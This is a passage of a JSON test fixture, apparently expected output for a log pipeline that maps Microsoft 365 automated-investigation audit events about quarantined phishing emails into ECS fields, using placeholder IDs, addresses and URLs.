PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":2,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":2},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":2},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":2,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"9\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":86,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":18,\\\"MaliciousUrl\\\":86},\\\"CountByProtectionStatus\\\":{\\\"Delivered\\\":0,\\\"Blocked\\\":70},\\\"CountByDeliveryLocation\\\":{\\\"Inbox\\\":0,\\\"Quarantine\\\":19,\\\"Forwarded\\\":1},\\\"Query\\\":\\\"( ((NormalizedUrl:\\\\\\\"https://test.local/-\\\\\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":86,\\\"IsVolumeAnamoly\\\":true,\\\"ClusterSourceIdentifier\\\":\\\"https://test.local/-\\\",\\\"ClusterSourceType\\\":\\\"UrlThreatIndicator\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"UrlThreatIdentifier\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"NormalizedUrl;ContentType\\\",\\\"ClusterByValue\\\":\\\"https://test.local/-;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Operation\":\"AirInvestigationData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"619\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\" }", + "outcome": "success", + "provider": "AirInvestigation", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "Actions": [ + { + "$id": "1", + "ActionApproval": "None", + "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890", + "ActionStatus": "Pending", + "ActionType": "EmailRemediation", + "BulkName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox.", + "Entities": [ + { + "$id": "2", + "ClusterBy": "NormalizedUrl;ContentType", + "ClusterByValue": "https://test.local/-;1", + "ClusterGroup": "UrlThreatIdentifier", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "https://test.local/-", + "ClusterSourceType": "UrlThreatIndicator", + "CountByDeliveryLocation": { + "Forwarded": 1, + "Inbox": 0, + "Quarantine": 19 + }, + "CountByProtectionStatus": { + "Blocked": 19, + "Delivered": 0 + }, + "CountByThreatType": { + "HighConfPhish": 56, + "MaliciousUrl": 86, + "Malware": 1, + "Phish": 45, + "Spam": 18 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": true, + "MailCount": 86, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( ((NormalizedUrl:\"https://test.local/-\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "QueryTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + } + ], + "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z", + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "PendingType": "User", + "RelatedAlertIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "ResourceIdentifiers": [ + { + "$id": "3", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "StartTimeUtc": "2023-12-31T23:59:59", + "TimestampUtc": "2023-12-31T23:59:59" + } + ], + "CreationTime": "2023-12-31T23:59:59", + "Data": { + "flattened": { + "AlertDisplayName": "Email messages containing malicious URL removed after delivery​", + "AlertType": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Category": "ThreatManagement", + "ConfidenceLevel": "Unknown", + "ConfidenceScore": 1, + "CorrelationKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Description": "Emails with malicious URL that were delivered and later removed -V1.0.0.3", + "DetectionTechnology": "URLList", + "EndTimeUtc": "2023-12-31T23:59:59Z", + "Entities": [ + { + "$id": "2", + "AadId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "FirstSeen": "2023-12-31T23:59:59", + "MailboxPrimaryAddress": "user@example.com", + "RiskLevel": "None", + "Source": "OATP", + "Type": "mailbox", + "Upn": "user@example.com", + "Urn": "urn:UserEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "3", + "AdditionalActionsAndResults": [ + "OriginalDelivery: [N/A]", + "Zap: [Success: Message moved to quarantine]" + ], + "AntispamDirection": "Intraorg", + "AuthDetails": [ + { + "Name": "DKIM", + "Value": "None" + }, + { + "Name": "DMARC", + "Value": "None" + } + ], + "DeliveryAction": "Blocked", + "DeliveryLocation": "Quarantine", + "FirstSeen": "2023-12-31T23:59:59", + "InternetMessageId": "", + "Language": "de", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": "Inbox", + "P1Sender": "sender@example.com", + "P1SenderDomain": "example.com", + "P2Sender": "sender@example.com", + "P2SenderDisplayName": "name", + "P2SenderDomain": "example.com", + "PhishConfidenceLevel": "High", + "ReceivedDate": "2023-12-31T23:59:59", + "Recipient": "user@example.com", + "Sender": "sender@example.com", + "SenderIP": "81.2.69.144", + "Source": "OATP", + "Subject": "subject", + "ThreatDetectionMethods": [ + "URLList" + ], + "Threats": [ + "ZapPhish", + "HighConfPhish" + ], + "Type": "mailMessage", + "Urls": [ + "https://test.local/-" + ], + "Urn": "urn:MailEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "4", + "ClickCount": 0, + "EmailCount": 86, + "FirstSeen": "2023-12-31T23:59:59", + "Source": "OATP", + "Type": "url", + "Url": "https://test.local/-", + "Urn": "urn:UrlEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "5", + "ClusterBy": "BodyFingerprintBin1;P2SenderDomain;ContentType", + "ClusterByValue": "5555555555;example.com;1", + "ClusterGroup": "BodyFingerprintBin1,P2SenderDomain", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "6", + "ClusterBy": "Subject;P2SenderDomain;AntispamDirection;ContentType", + "ClusterByValue": "subject;example.com;3;1", + "ClusterGroup": "Subject,P2SenderDomain,AntispamDirection", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (Subject:\"subject\") ) AND ( (P2SenderDomain:\"example.com\") ) AND ( (AntispamDirection:\"3\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "7", + "ClusterBy": "BodyFingerprintBin1;SenderIp;ContentType", + "ClusterByValue": "5555555555;81.2.69.144;1", + "ClusterGroup": "BodyFingerprintBin1,SenderIp", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 2 + }, + "CountByProtectionStatus": { + "Blocked": 2 + }, + "CountByThreatType": { + "HighConfPhish": 2, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 2, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (BodyFingerprintBin1:\"5555555555\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "8", + "ClusterBy": "Subject;SenderIp;AntispamDirection;ContentType", + "ClusterByValue": "subject;81.2.69.144;3;1", + "ClusterGroup": "Subject,SenderIp,AntispamDirection", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ClusterSourceType": "Similarity", + "CountByDeliveryLocation": { + "Quarantine": 1 + }, + "CountByProtectionStatus": { + "Blocked": 1 + }, + "CountByThreatType": { + "HighConfPhish": 1, + "Malware": 0, + "Phish": 0, + "Spam": 0 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": false, + "MailCount": 1, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( (( (Subject:\"subject\") ) AND ( (SenderIp:\"81.2.69.144\") ) AND ( (AntispamDirection:\"3\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + }, + { + "$id": "9", + "ClusterBy": "NormalizedUrl;ContentType", + "ClusterByValue": "https://test.local/-;1", + "ClusterGroup": "UrlThreatIdentifier", + "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z", + "ClusterQueryStartTime": "2023-12-31T23:59:59Z", + "ClusterSourceIdentifier": "https://test.local/-", + "ClusterSourceType": "UrlThreatIndicator", + "CountByDeliveryLocation": { + "Forwarded": 1, + "Inbox": 0, + "Quarantine": 19 + }, + "CountByProtectionStatus": { + "Blocked": 70, + "Delivered": 0 + }, + "CountByThreatType": { + "HighConfPhish": 86, + "MaliciousUrl": 86, + "Malware": 0, + "Phish": 0, + "Spam": 18 + }, + "FirstSeen": "2023-12-31T23:59:59", + "IsVolumeAnamoly": true, + "MailCount": 86, + "NetworkMessageIds": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "Query": "( ((NormalizedUrl:\"https://test.local/-\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))", + "QueryStartTime": "12/31/2023 11:59:59 PM", + "Source": "OATP", + "Type": "mailCluster", + "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890" + } + ], + "ExtendedLinks": [ + { + "Href": "https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Label": "alert", + "Type": "webLink" + } + ], + "Intent": "Probing", + "IsIncident": false, + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "ProcessingEndTime": "2023-12-31T23:59:59.0000000Z", + "ProviderAlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ProviderName": "OATP", + "ResourceIdentifiers": [ + { + "$id": "1", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "Severity": "Informational", + "SourceAlertType": "System", + "SourceTemplateType": "Threat_Single", + "StartTimeUtc": "2023-12-31T23:59:59Z", + "Status": "New", + "TimeGenerated": "2023-12-31T23:59:59.9Z", + "VendorName": "Microsoft", + "Version": "3.0" + } + }, + "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "EndTimeUtc": "2023-12-31T23:59:59.000Z", + "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationType": "UrlInvestigation", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.000Z", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": [ + "Inbox" + ], + "PhishConfidenceLevel": [ + "High" + ], + "RecordType": "64", + "RunningTime": "619", + "StartTimeUtc": "2023-12-31T23:59:59.000Z", + "Status": "Pending Action", + "ThreatDetectionMethods": [ + "URLList" + ], + "UserId": "AirInvestigation", + "UserKey": "AirInvestigation", + "UserType": "4", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "user@example.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "email": [ + "user@example.com" + ], + "id": "AirInvestigation" + } + }, + { + "@timestamp": "2023-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "from": { + "address": [ + "sender@example.com" + ] + }, + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "bounce@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "AirInvestigationData", + "category": [ + "web" + ], + "code": "AirInvestigation", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Status\":\"Remediated\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Skipped\",\"Entities\":[{\"$id\":\"2\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"bounce@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"DeliveryAction\":\"DeliveredAsSpam\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"en\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"Pass\"},{\"Name\":\"DMARC\",\"Value\":\"Pass\"},{\"Name\":\"Comp Auth\",\"Value\":\"pass\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"InvestigationType\":\"ZappedEmailInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"Resolved\\\",\\\"DetectionTechnology\\\":\\\"FingerPrintMatch\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"FullyRemediated\\\"}],\\\"InvestigationIds\\\":[\\\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages removed after delivery​\\\",\\\"Description\\\":\\\"Malicious emails were 